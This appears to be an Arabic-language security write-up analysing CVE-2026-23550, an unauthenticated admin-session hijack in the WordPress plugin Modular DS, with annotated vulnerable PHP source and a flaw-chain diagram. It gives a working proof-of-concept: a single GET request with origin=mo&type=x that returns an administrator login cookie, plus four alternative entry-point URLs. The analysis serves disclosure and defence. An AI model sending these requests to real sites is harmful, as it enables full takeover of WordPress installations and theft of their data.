
تحليل السبب الجذري وإثبات المفهوم وإرشادات الكشف لـ CVE-2026-23550، وهي ثغرة حرجة لاختطاف جلسة مسؤول دون مصادقة في إضافة WordPress Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
تحليل السبب الجذري · شرح الكود المصدري · فرق التصحيح · إثبات المفهوم التعليمي
بواسطة: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) هو إضافة لإدارة مواقع WordPress بعدد أكثر من 40,000 تثبيت نشط. الإصدارات ≤ 2.5.1 تحتوي على سلسلة من خمسة عيوب متراكمة تسمح لأي مهاجم غير مصادق بتجاوز المصادقة، واستدعاء نقطة تسجيل الدخول الداخلية للإضافة، وتلقي كوكي جلسةwordpress_logged_in_*لحساب المشرف الأول — مع طلب HTTP GET واحد.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
النتيجة: استيلاء كامل على صلاحيات المشرف. يمكن للمهاجم تثبيت إضافات ضارة، وضع قذائف ويب، إنشاء حسابات مشرف احتياطية، وسرقة قاعدة البيانات.
| الحقل | القيمة |
|---|---|
| اسم الإضافة | Modular DS |
| الاسم المختصر | modular-connector |
| الإصدارات المعرضة للخطر | <= 2.5.1 |
| الإصدار المصحح | 2.5.2 |
| التثبيتات النشطة | ~40,000 |
| CVSS v3.1 | 10.0 / حرج (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — فشل تحديد الهوية والمصادقة |
تؤدي الثغرة إلى تشغيل موجه مخصص مشتق من Laravel مدمج في الإضافة. ترسل الإضافة نواة HTTP خاصة بها (Ares/Framework) ترتبط بإجراء parse_request في ووردبريس لاختطاف الطلبات قبل أن يقوم توجيه ووردبريس نفسه بتولي الأمر.
المتطلبات المسبقة: لا شيء (الإضافة مثبتة ونشطة، ومتصلة بـ Modular SaaS — وهو الوضع الافتراضي لجميع التثبيتات الحية).
نقاط الدخول (أي واحدة منها كافية):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
الثغرة ليست عيبًا واحدًا — بل هي سلسلة من خمسة عيوب متراكمة. كل طبقة، إذا نظرنا إليها بشكل منفرد، قد تبدو دفاعية؛ لكنها مجتمعة تنهار إلى استيلاء على صلاحيات المشرف دون مصادقة.
flowchart TB
A["🌐 طلب المهاجم<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>تفتح البوابة بمجرد وجود معاملات استعلام"]
B --> C["② Router::findRoute()<br/>حل عنوان URL ضمنيًا إلى مسار /login"]
C --> D["③ مرشح bindOldRoutes()<br/>يمر عند type غير معروف"]
D --> E["④ ModularGuard::check()<br/>يتحقق من OAuth الخادم، وليس من الطلب"]
E --> F["⑤ AuthController::getLogin()<br/>الرجوع افتراضيًا لأول مستخدم مشرف"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>المهاجم = مشرف"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | الطبقة | الملف | المشكلة الجذرية |
|---|---|---|---|
| ① | بوابة التشغيل | HttpUtils.php:64 | فحص origin=mo يعتمد فقط على معاملات الاستعلام بدون تشفير/ nonce |
| ② | مطابقة URL → المسار | Router.php:20 | حل عنوان URL ضمنيًا يمر مباشرة إلى المرشح |
| ③ | مرشح تجاوز المسار | RouteServiceProvider.php:46 | type غير معروف يمر مع بقاء المسار الأصلي |
| ④ | حارس المصادقة | ModularGuard.php:16 | يتحقق من حالة OAuth على جانب الخادم، وليس هوية الطلب |
| ⑤ | وحدة التحكم في تسجيل الدخول | AuthController.php:66 | الرجوع الصامت إلى getAdminUser() عند عدم وجود مدخلات |
HttpUtils::isDirectRequest()الملف: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ فقط معامل استعلام، بدون توقيع
}
return false;
}
المشكلة: وضع "الطلب المباشر" — الذي كان يهدف إلى التعرف على المكالمات الشرعية من خلفية Modular SaaS — يتم التحكم فيه بواسطة معاملات استعلام نصية عادية بدون HMAC، JWT، nonce موقع، أو قائمة عناوين IP مسموحة. يمكن لأي مهاجم تشغيل هذا المفتاح.
Router::findRoute()الملف: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ يتم حل عنوان URL إلى مسار قبل تشغيل المرشح
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
المشكلة: دالة routes->match($request) في Laravel تحل /api/modular-connector/login/xxx إلى مسار login (المحمي بالمصادقة) قبل تشغيل مرشح الأمان. يستلم المرشح هذا المسار كمدخل، مما يجعله يتحمل عبء إثبات أن المسار غير شرعي بدلاً من تفويضه صراحة.
bindOldRoutes()الملف: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* إعادة ربط عبر استدعاء OAuth موقع */ }
if ($type === 'oauth') { /* إعادة ربط إلى معالج /oauth */ }
if ($type === 'lb') { /* إعادة ربط إلى /schedule/run */ }
return $route; // ⚠️ نوع غير معروف → يبقى المسار من عنوان URL كما هو
}